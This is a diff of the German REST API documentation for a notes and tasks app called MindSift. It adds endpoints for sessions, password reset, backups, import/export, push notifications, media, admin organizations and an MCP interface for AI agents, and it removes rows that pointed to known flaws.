| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); mit Code immer, sonst je nach Registrierungsmodus. `201` mit Token oder `202 {"pending":true,"verify","message"}`, wenn erst die E-Mail-Adresse bestätigt (`verify`) und/oder ein Admin freigeben muss (Login bis dahin `403`); `429` nach 20 Versuchen pro Adresse in 15 Minuten oder bei mehr als 50 wartenden Konten |
|
||||||
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
|
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
|
||||||
|
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
|
||||||
|
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
|
||||||
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
|
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
|
||||||
| POST | `/webhooks/ingest` | Aufgabe per Webhook anlegen, Token als `?token=`, `X-API-Key` oder Bearer. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; Klartext-Body wird als Inhalt genommen |
|
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
|
||||||
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); Token als `?token=` nötig |
|
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
|
||||||
| GET | `/events` | SSE-Fallback; Token als `?token=` nötig |
|
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
|
||||||
|
|
||||||
## Konto und Allgemeines (angemeldet)
|
## Konto und Allgemeines (angemeldet)
|
||||||
|
|
||||||
@@ -22,15 +28,77 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET | `/auth/me` | Benutzer und Kennzahlen |
|
| GET | `/auth/me` | Benutzer und Kennzahlen |
|
||||||
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
|
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
|
||||||
| POST | `/auth/logout` | Token sperren |
|
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
|
||||||
|
| POST | `/voice/transcribe` | Nur im Server-Modus der Spracherkennung: `multipart/form-data` mit `file` (Aufnahme, z. B. WebM/Opus oder MP4/AAC) → `{text}`. `404` ohne `STT_URL`, `413` zu groß, `429` Stundenlimit, `503` ausgelastet, `502` Whisper-Fehler (Details im Log) |
|
||||||
|
| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
|
||||||
|
| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
|
||||||
|
| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
|
||||||
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
|
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
|
||||||
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
|
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. `notificationSettings` (`paused`, `includeOwnWatched`, `events.{due,shared,taskDone,watched}.{email,discord}`, `dailySummary.{enabled,time,email,discord}`) für Benachrichtigungen. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
|
||||||
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
|
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
|
||||||
| GET | `/users/directory`, `/collaborators` | Benutzerverzeichnis für Freigaben ([FLAW-10](../flaws.md)) |
|
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
|
||||||
| GET | `/stats` | Zähler fürs Dashboard |
|
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
|
||||||
| GET | `/search?q=` | Suche in eigenen Gedanken und Notizen |
|
| GET | `/search?q=` | Globale FTS5-Suche in zugänglichen Notizen (Titel & Blöcke), Aufgaben und Listen → `{thoughts, documents, listItems, hits}` |
|
||||||
| GET | `/export` | Datenexport als JSON |
|
| GET | `/export` | Datenexport als JSON; mit `?format=zip` dieselben Daten als `mindsift-backup.json` in einer ZIP (so lädt die Oberfläche das Backup) |
|
||||||
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung) |
|
| GET | `/export/markdown` | Obsidian-kompatibles ZIP (`mindsift-vault-DATUM.zip`), direkt gestreamt: Notizen als `.md` mit YAML-Frontmatter in der Ordnerstruktur des Nutzers (inkl. geteilter), `Aufgaben/<Liste>.md` im Format des Tasks-Plugins (`📅`, `⏫`/`🔺`), `Listen/<Liste>.md` |
|
||||||
|
| GET/POST | `/themes` | Eigene CSS-Themes; anlegen oder mit `id` ändern (`name`, `css`, max. 200 KB) |
|
||||||
|
| DELETE | `/themes/{id}` | Eigenes Theme löschen |
|
||||||
|
| POST | `/import/mindsift`, `/import/obsidian` | Import (Multipart-Feld `file`, max. 100 MB): MindSift-JSON/-Archiv bzw. Obsidian-Vault-ZIP; `?preview=1` liefert nur die Zusammenfassung (`folders`, `notes`, `taskLists`, `tasks`, `lists`, `listItems`, `inbox`, `skipped`) |
|
||||||
|
| — | `/import/mindsift?mode=restore` | Wiederherstellen: löscht vor dem Import alle eigenen Notizen, Ordner, Aufgaben, Gedanken und Listen (erst nachdem die Datei vollständig gelesen und geprüft ist) |
|
||||||
|
| DELETE | `/user/data` | Alle eigenen Daten löschen, Konto bleibt (`{"password"}` nötig) |
|
||||||
|
| DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
|
||||||
|
| GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
|
||||||
|
| POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
|
||||||
|
| GET/POST | `/keys` | API-Keys auflisten bzw. anlegen (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (`webhook:triage`, `webhook:task`, `webhook:list`, `tasks:read`, `tasks:write`, `lists:read`, `lists:write`; Standard `["webhook:triage"]`) |
|
||||||
|
| POST | `/mcp` | MCP-Endpunkt für KI-Agenten, siehe unten |
|
||||||
|
| DELETE | `/keys/{id}` | API-Key löschen |
|
||||||
|
|
||||||
|
### Globale Suche (`GET /api/v1/search?q=`)
|
||||||
|
|
||||||
|
Führt eine Volltextsuche über SQLite FTS5 mit BM25-Relevanz-Ranking aus.
|
||||||
|
- Durchsucht Aufgaben/Gedanken (Inhalt, Notizen, Unteraufgaben), Notizen (Titel sowie Inhalte aktiver Blöcke) und Listeneinträge.
|
||||||
|
- Beachtet strikt alle Zugriffsregeln: Nur eigene Gedanken/Aufgaben und solche in zugänglichen Aufgabenlisten; nur eigene und geteilte Notizen (direkt, über Gruppen oder freigegebene Ordner); nur eigene und geteilte Listen.
|
||||||
|
- Titel-Treffer werden höher gewichtet als Treffer im Fließtext.
|
||||||
|
- Liefert rückwärtskompatible Collections (`thoughts`, `documents`, `listItems`) sowie strukturierte `hits` mit Snippet und `<mark>`-Hervorhebung:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"thoughts": [...],
|
||||||
|
"documents": [...],
|
||||||
|
"listItems": [...],
|
||||||
|
"hits": [
|
||||||
|
{
|
||||||
|
"type": "document",
|
||||||
|
"id": "blk_123",
|
||||||
|
"title": "Projektplanung",
|
||||||
|
"snippet": "... wichtige Notiz zum <mark>Release</mark> ...",
|
||||||
|
"docId": "doc_abc",
|
||||||
|
"blockId": "blk_123"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### MCP für KI-Agenten (`POST /api/v1/mcp`)
|
||||||
|
|
||||||
|
MindSift ist ein [MCP](https://modelcontextprotocol.io)-Server (Streamable HTTP, zustandslos, nur JSON-RPC 2.0 per `POST`; kein Server-Stream, `GET` antwortet `405`, Batches werden abgelehnt). Anmeldung wie überall per `X-API-Key` oder `Authorization: Bearer`; eine Sitzung darf alles, ein API-Key nur die Werkzeuge seiner Scopes, und `tools/list` zeigt ihm nur diese. Protokollversionen `2025-06-18`, `2025-03-26`, `2024-11-05`. Unterstützte Methoden: `initialize`, `ping`, `tools/list`, `tools/call`; Benachrichtigungen antworten `202`. Fehler eines Werkzeugs kommen als `isError`-Ergebnis zurück, damit der Agent sie lesen kann; Ergebnisse stehen als `structuredContent` (Listen als `{items}`) und als JSON-Text.
|
||||||
|
|
||||||
|
| Werkzeug | Scope | Zweck |
|
||||||
|
|---|---|---|
|
||||||
|
| `list_task_lists` | `tasks:read` | Aufgabenlisten mit `permission` und offenen Aufgaben |
|
||||||
|
| `list_tasks` | `tasks:read` | Aufgaben (`taskListId`, `status` open/done/all, `dueBefore` JJJJ-MM-TT, `limit`); fällige zuerst |
|
||||||
|
| `get_task` | `tasks:read` | Eine Aufgabe |
|
||||||
|
| `create_task` | `tasks:write` | Aufgabe anlegen (`content`, `taskListId`, `priority`, `dueDate`, `notes`); Quelle `agent` |
|
||||||
|
| `update_task` | `tasks:write` | Felder ändern (`content`, `isCompleted`, `dueDate`, `priority`, `notes`, `kanbanStatus`, `taskListId`, `tags`) |
|
||||||
|
| `complete_task` | `tasks:write` | Abhaken (`completed` false = wieder öffnen) |
|
||||||
|
| `list_lists` | `lists:read` | Geteilte Listen mit offenen Einträgen |
|
||||||
|
| `get_list` | `lists:read` | Liste mit Einträgen |
|
||||||
|
| `add_list_item` | `lists:write` | Eintrag hinzufügen (`listId`, `content`, `category`, `quantity`) |
|
||||||
|
| `check_list_item` | `lists:write` | Eintrag abhaken (`completed` false = zurück) |
|
||||||
|
| `update_list_item` | `lists:write` | Text, Kategorie, Menge ändern |
|
||||||
|
| `search` | ein Lese-Scope | Volltextsuche in Aufgaben und Listeneinträgen (nur die Teile der eigenen Scopes, keine Notizen) |
|
||||||
|
| `capture_to_inbox` | `webhook:triage` | Gedanken in die Inbox |
|
||||||
|
|
||||||
|
Freigaben gelten wie für die Person selbst: Leser-Listen lassen sich nicht ändern, fremde Listen sind unsichtbar. Einrichtung z. B. in Claude Code: `claude mcp add --transport http mindsift https://mindsift.example.com/api/v1/mcp --header "X-API-Key: mindsift_sec_…"`; die Einstellungen zeigen die Varianten für Codex (`config.toml`) und JSON-Konfigurationen (Claude Desktop, Cursor). claude.ai und ChatGPT im Browser verlangen OAuth und werden noch nicht unterstützt.
|
||||||
|
|
||||||
## Gedanken, Triage, Aufgaben
|
## Gedanken, Triage, Aufgaben
|
||||||
|
|
||||||
@@ -38,13 +106,14 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| POST | `/inbox` | Schnellerfassung. Body: `content`, `priority`, `source`, `dueDate`, `target` (`inbox`/`task`/`list_item`/`document`), `targetListId`, `taskListId` (snake_case-Varianten werden akzeptiert) |
|
| POST | `/inbox` | Schnellerfassung. Body: `content`, `priority`, `source`, `dueDate`, `target` (`inbox`/`task`/`list_item`/`document`), `targetListId`, `taskListId` (snake_case-Varianten werden akzeptiert) |
|
||||||
| GET | `/thoughts?status=` | Gedanken (`inbox`, `kept`, `converted`, `discarded`, `all`) |
|
| GET | `/thoughts?status=` | Gedanken (`inbox`, `kept`, `converted`, `discarded`, `all`) |
|
||||||
| GET/PATCH/DELETE | `/thoughts/{id}` | Einzelabruf; Teiländerung (`content`, `isCompleted`, `dueDate`, `priority`, `taskListId`, `kanbanStatus`, `notes`, `subtasks`, `tags`); Löschen |
|
| GET/PATCH/DELETE | `/thoughts/{id}` | Einzelabruf; Teiländerung (`content`, `isCompleted`, `dueDate`, `priority`, `taskListId`, `kanbanStatus`, `notes`, `subtasks`, `tags`, `assignees`, `recurrence` = `daily`/`weekly`/`monthly`/`yearly`/leer); Löschen. `assignees` ersetzt die Zuweisungen; nur Personen mit Zugriff auf die Liste, sonst `403` |
|
||||||
| DELETE | `/thoughts/discarded/purge` | Papierkorb leeren |
|
| DELETE | `/thoughts/discarded/purge` | Papierkorb leeren |
|
||||||
| GET | `/triage/deck` | Posteingang (max. 100) |
|
| GET | `/triage/deck` | Posteingang (max. 100) |
|
||||||
| PATCH | `/triage/{id}` | `action`: `keep`/`discard`/`restore`; mit `convertTo`: `task`/`document`/`list_item` |
|
| PATCH | `/triage/{id}` | `action`: `keep`/`discard`/`restore`; mit `convertTo`: `task`/`document`/`list_item` |
|
||||||
| GET | `/tasks?taskListId=` | Aufgaben (optional einer Liste) |
|
| GET | `/tasks?taskListId=` | Aufgaben (optional einer Liste) |
|
||||||
| POST | `/tasks/reorder`, `/task-lists/{id}/tasks/reorder` | Reihenfolge/Spalte ändern (`items[{id, sortOrder, kanbanStatus}]`) |
|
| POST | `/tasks/reorder`, `/task-lists/{id}/tasks/reorder` | Reihenfolge/Spalte ändern (`items[{id, sortOrder, kanbanStatus}]`) |
|
||||||
| POST | `/tasks/{id}/unlink` | Verknüpfung zu Notiz-Block lösen |
|
| POST | `/tasks/{id}/unlink` | Verknüpfung zu Notiz-Block lösen |
|
||||||
|
| POST/DELETE | `/tasks/{id}/watch` | Aufgabe beobachten bzw. nicht mehr → `{watching}`; `404` ohne Zugriff. Aufgaben-Antworten tragen `isWatching` |
|
||||||
|
|
||||||
## Aufgabenlisten
|
## Aufgabenlisten
|
||||||
|
|
||||||
@@ -67,14 +136,36 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
|
|||||||
| GET/POST | `/workspace/folders/shared` | Geteilte Ordner; anlegen (`name`, `mountPath`) |
|
| GET/POST | `/workspace/folders/shared` | Geteilte Ordner; anlegen (`name`, `mountPath`) |
|
||||||
| GET/DELETE | `/workspace/folders/shared/{id}` | Abruf; Löschen |
|
| GET/DELETE | `/workspace/folders/shared/{id}` | Abruf; Löschen |
|
||||||
| PUT | `/workspace/folders/shared/{id}/mount` | Eigenen Einhängepfad ändern (`mountPath`) |
|
| PUT | `/workspace/folders/shared/{id}/mount` | Eigenen Einhängepfad ändern (`mountPath`) |
|
||||||
| GET/POST/DELETE | `/workspace/folders/shared/{id}/shares[/{shareId}]` | Freigaben (`permission`: `read`/`write`) |
|
| GET/POST | `/workspace/folders/shared/{id}/shares` | Freigaben geteilter Ordner (`permission`: `read`/`write`) |
|
||||||
|
| DELETE | `/workspace/folders/shared/{id}/shares/{shareId}` | Freigabe eines geteilten Ordners entfernen |
|
||||||
| GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
|
| GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
|
||||||
| PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
|
| PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
|
||||||
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
|
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
|
||||||
| GET/PUT/DELETE | `/documents/{id}` | Abruf; Ändern von `title`, `icon`, `folderPath`, `isPinned` (Blöcke → `400`, sie laufen über `/docs/{id}/sync`); Löschen |
|
| GET/PUT/DELETE | `/documents/{id}` | Abruf; Ändern von `title`, `icon`, `folderPath`, `isPinned` (Blöcke → `400`, sie laufen über `/docs/{id}/sync`); Löschen = in den Papierkorb (Eigentümer) bzw. Freigabe verlassen (andere) |
|
||||||
|
| GET/DELETE | `/documents/trash` | Papierkorb auflisten (`id`, `title`, `icon`, `folderPath`, `deletedAt`, `isOwner`) bzw. leeren |
|
||||||
|
| GET | `/documents/{id}/backlinks` | Notizen mit `[[Titel]]`-Link auf diese Notiz (nur sichtbare, ohne Papierkorb): `docId`, `title`, `icon`, `folderPath`, bis zu 5 `blocks` (`id`, `content`), `more` |
|
||||||
|
| POST | `/documents/{id}/restore` | Aus dem Papierkorb zurückholen (fehlender Ordner wird neu angelegt) |
|
||||||
|
| DELETE | `/documents/{id}/permanent` | Notiz im Papierkorb endgültig löschen |
|
||||||
| PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
|
| PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
|
||||||
| POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
|
| POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
|
||||||
| GET/POST/DELETE | `/documents/{id}/shares[/{userId}]` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
|
| GET/POST | `/documents/{id}/shares` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
|
||||||
|
| DELETE | `/documents/{id}/shares/{userId}` | Notiz-Freigabe entfernen |
|
||||||
|
| POST | `/documents/{id}/extract` | `{blockId, clientId}`: legt aus den Unterpunkten des Punkts eine eigene Notiz an (Titel = Text ohne Hashtags, gleicher Ordner, Freigaben übernommen, fremder Besitzer bekommt Schreibrecht) → `{document, link}`. Die Ursprungsnotiz ändert der Server nicht; der Editor ersetzt den Ast selbst durch `link` (normale eigene Änderung, Strg+Z möglich). Schreibrecht nötig; `409`, wenn jemand anderes im Ast schreibt; `400`, wenn der Punkt nur noch ein Link auf eine Notiz ist (ggf. mit Hashtags) |
|
||||||
|
| GET | `/push/key` | `{enabled, publicKey}` – öffentlicher VAPID-Schlüssel für `pushManager.subscribe` (in der Demo `enabled: false`) |
|
||||||
|
| GET | `/push/devices` | Eigene Geräte mit Push → `{devices: [{id, endpoint, device, createdAt}]}` |
|
||||||
|
| POST | `/push/subscribe` | `{endpoint, keys: {p256dh, auth}, device}` – Gerät anmelden (nur `https`-Endpunkte) |
|
||||||
|
| POST | `/push/unsubscribe` | `{endpoint}` – Gerät abmelden |
|
||||||
|
| POST | `/push/test` | Test-Benachrichtigung an alle eigenen Geräte → `{devices}`; `400` ohne Gerät |
|
||||||
|
| GET | `/journal` | Tage des eigenen Journals, neueste zuerst → `{days: [{date, docId, empty}]}` (`empty`: Notiz noch ohne Text; Tage im Papierkorb fehlen) |
|
||||||
|
| POST | `/journal/{date}` | Notiz des Tages (`JJJJ-MM-TT`) öffnen; gibt es noch keine, wird sie angelegt (Titel z. B. „Freitag, 30. Oktober 2026“, Icon 📅) → Dokument, `201` bei Neuanlage. Die Journal-Notizen sind normale Notizen (Teilen, Suche, Sync) |
|
||||||
|
| POST | `/documents/{id}/extract/undo` | Legt die ausgelagerte Notiz `{id}` wieder in den Papierkorb (nur ihr Ersteller) |
|
||||||
|
| POST | `/documents/{id}/merge` | `{sourceId}`: hängt die (eigene) Quellnotiz als Überschrift mit Unterpunkten an diese Notiz an, Quelle in den Papierkorb → `{targetId, sourceId, sourceTitle, headingId}` |
|
||||||
|
| POST | `/documents/{id}/merge/undo` | `{sourceId, headingId}`: Abschnitt wieder entfernen, Quelle wiederherstellen |
|
||||||
|
| POST | `/documents/{id}/media` | Bild oder Audio zu einer Notiz hochladen (`multipart/form-data`, Feld `file`; Schreibrecht nötig) → `{id, kind, mime, size, url}`. `415` falsches Format, `413` zu groß oder Kontingent voll |
|
||||||
|
| POST | `/documents/{id}/media/fetch` | Externes Bild kopieren: `{url}` (nur https, keine internen Adressen; nicht in der Demo) → wie oben |
|
||||||
|
| GET | `/media/{id}` | Datei abrufen (Leserecht auf eine Notiz, die sie zeigt), mit Range-Anfragen; sonst `404` |
|
||||||
|
| GET | `/link-preview?url=https://…` | Vorschau einer Web-Seite (`title`, `description`, `siteName`, `hasImage`, `hasIcon`, `ok`, `key`), vom Server geholt und 7 Tage zwischengespeichert; `422` ohne https, `403` in der Demo, `429` zu viele Abrufe |
|
||||||
|
| GET | `/link-preview/{key}/image` bzw. `/icon` | Bild bzw. Icon einer Vorschau |
|
||||||
|
|
||||||
Der Inhalt einer Notiz (Blöcke) wird ausschließlich über `POST /docs/{id}/sync` geändert. `POST /documents` nimmt beim Anlegen weiterhin eine Start-Blockliste an; sie wird intern in Operationen umgerechnet.
|
Der Inhalt einer Notiz (Blöcke) wird ausschließlich über `POST /docs/{id}/sync` geändert. `POST /documents` nimmt beim Anlegen weiterhin eine Start-Blockliste an; sie wird intern in Operationen umgerechnet.
|
||||||
|
|
||||||
@@ -118,11 +209,13 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET/POST | `/lists` | Listen; anlegen (`title`, `icon`, `listType`) |
|
| GET/POST | `/lists` | Listen; anlegen (`title`, `icon`, `listType`) |
|
||||||
| GET/DELETE | `/lists/{id}` | Abruf mit Einträgen; Löschen |
|
| GET/DELETE | `/lists/{id}` | Abruf mit Einträgen; Löschen |
|
||||||
| GET/POST/DELETE | `/lists/{id}/shares[/{shareId}]` | Freigaben (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
|
| GET/POST | `/lists/{id}/shares` | Freigaben abrufen bzw. anlegen (`targetType`, `targetId`, `role`: `editor`/`viewer`) |
|
||||||
|
| DELETE | `/lists/{id}/shares/{shareId}` | Freigabe entfernen |
|
||||||
| POST | `/lists/{id}/items` | Eintrag (`content`, `category`, `quantity`) |
|
| POST | `/lists/{id}/items` | Eintrag (`content`, `category`, `quantity`) |
|
||||||
| PATCH | `/lists/{id}/items/{itemId}` | Abhaken (`isCompleted`) |
|
| PATCH | `/lists/{id}/items/{itemId}` | Abhaken (`isCompleted`) |
|
||||||
| PUT | `/lists/{id}/items/{itemId}` | Ändern (`content`, `category`, `quantity`) |
|
| PUT | `/lists/{id}/items/{itemId}` | Ändern (`content`, `category`, `quantity`) |
|
||||||
| DELETE | `/lists/{id}/items/{itemId}` | Löschen |
|
| DELETE | `/lists/{id}/items/{itemId}` | Löschen |
|
||||||
|
| POST | `/lists/{id}/items/{itemId}/move` | In eine andere Liste verschieben (`targetListId`); Bearbeitungsrecht in beiden Listen nötig, der Eintrag landet oben |
|
||||||
| POST/PUT | `/lists/{id}/items/reorder` | Reihenfolge/Kategorie (`items[{id, sortOrder, category, content}]`) |
|
| POST/PUT | `/lists/{id}/items/reorder` | Reihenfolge/Kategorie (`items[{id, sortOrder, category, content}]`) |
|
||||||
| POST | `/lists/{id}/clear-completed` | Erledigte entfernen |
|
| POST | `/lists/{id}/clear-completed` | Erledigte entfernen |
|
||||||
|
|
||||||
@@ -130,22 +223,32 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
|
|||||||
|
|
||||||
| Methode | Pfad | Zweck |
|
| Methode | Pfad | Zweck |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET/POST | `/teams` | Eigene Gruppen; anlegen (`name`, `description`) – Ersteller wird Gruppen-Admin |
|
| GET/POST | `/teams` | Eigene Gruppen; anlegen (`name`, `description`) – Ersteller wird Gruppen-Admin, die Gruppe gehört zu seiner Organisation; im Modus `private` gesperrt |
|
||||||
| PUT/DELETE | `/teams/{id}` | Nur Gruppen-Admin |
|
| PUT/DELETE | `/teams/{id}` | Nur Gruppen-Admin |
|
||||||
| POST | `/teams/{id}/members` | Mitglied hinzufügen (`userId` oder `email`, `role`) |
|
| POST | `/teams/{id}/members` | Mitglied hinzufügen (`userId` oder `email`, `role`); nur sichtbare Personen, sonst `404` |
|
||||||
| PUT/DELETE | `/teams/{id}/members/{userId}` | Rolle ändern (`admin`/`member`); entfernen |
|
| PUT/DELETE | `/teams/{id}/members/{userId}` | Rolle ändern (`admin`/`member`); entfernen |
|
||||||
| GET/POST/DELETE | `/organizations`, `/organizations/{id}[/teams]` | Veraltet, ungeschützt ([FLAW-24](../flaws.md)) |
|
|
||||||
|
|
||||||
## Administration (`role = admin`)
|
## Administration (`role = admin`)
|
||||||
|
|
||||||
| Methode | Pfad | Zweck |
|
| Methode | Pfad | Zweck |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET/POST | `/admin/users` | Benutzer auflisten, anlegen (`email`, `password`, `displayName`, `role`) |
|
| GET/POST | `/admin/users` | Benutzer auflisten, anlegen (`email`, `password`, `displayName`, `role`, optional `organizationId`) |
|
||||||
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
|
| PUT | `/admin/users/{id}/organization` | Organisation setzen (`organizationId`, leer = keine); entzieht Freigaben, Gruppen und Zuweisungen der alten |
|
||||||
|
| GET/POST | `/admin/organizations` | Organisationen mit `memberCount`; anlegen (`name`) |
|
||||||
|
| PUT/DELETE | `/admin/organizations/{id}` | Umbenennen (`name`); löschen (Mitglieder sind danach ohne Organisation) |
|
||||||
|
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen (bei wartenden Konten = ablehnen). `GET /admin/users` markiert wartende Konten mit `pendingApproval` |
|
||||||
|
| POST | `/admin/users/{id}/approve` | Wartendes Konto freigeben; die Person bekommt eine E-Mail (`409`, wenn es nicht wartet) |
|
||||||
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
|
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
|
||||||
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `teamId`, `validDays`) |
|
| GET/POST | `/admin/invites` | Einladungen auflisten bzw. anlegen (`email`, `role`, `organizationId`, `validDays`, `maxUses` 1–1000; mehrfach verwendbare nicht an eine E-Mail gebunden). Antwort mit `maxUses`/`useCount`. Als Link: `/?invite=<CODE>` öffnet die Registrierung mit eingetragenem Code |
|
||||||
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode`, SMTP-Felder |
|
| POST | `/admin/invites/{id}/send` | Einladung per E-Mail (`email`); bindet einmalige Codes an diese Adresse; braucht SMTP |
|
||||||
|
| DELETE | `/admin/invites/{id}` | Einladung widerrufen/löschen |
|
||||||
|
| GET/PUT | `/admin/settings` | `instanceName`, `allowRegistration`, `sharingMode` (`private`/`organizations`/`open`), SMTP-Felder; ein Moduswechsel bereinigt Freigaben. `smtpPass` kommt nie zurück (`smtpPassSet` zeigt, ob eines gespeichert ist); leer = unverändert |
|
||||||
|
| GET | `/admin/settings/sharing-impact?mode=` | Probelauf: wie viele Freigaben und Gruppen-Mitgliedschaften ein Wechsel entfernen würde (`affected`) |
|
||||||
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
|
| POST | `/admin/smtp/test` | Testmail (`toEmail`) |
|
||||||
|
| GET | `/admin/voice` | Aktive Spracherkennung (`mode`: `server`/`browser`/`off`), Einstellungen aus `STT_*` ohne Schlüssel, Grenzen und im Server-Modus ein frischer Zustand (`status.reachable`, `status.modelReady`) |
|
||||||
|
| GET/POST | `/admin/backups` | Datenbank-Abzüge auflisten bzw. sofort sichern (Abzug + alle Benutzer-Backups) |
|
||||||
|
| GET | `/admin/backups/{name}` | Datenbank-Abzug herunterladen |
|
||||||
|
| DELETE | `/admin/backups/{name}` | Datenbank-Abzug löschen (gibt die verbleibende Liste zurück; nicht in der Demo) |
|
||||||
|
|
||||||
## Beispiele
|
## Beispiele
|
||||||
|
|
||||||
@@ -155,6 +258,11 @@ curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
|
|||||||
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
|
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
|
||||||
-d '{"title":"Milch kaufen #einkauf","priority":"high","dueDate":"2026-11-01"}'
|
-d '{"title":"Milch kaufen #einkauf","priority":"high","dueDate":"2026-11-01"}'
|
||||||
|
|
||||||
|
# Einkaufsliste per API-Key ergänzen (Scope webhook:list)
|
||||||
|
curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
|
||||||
|
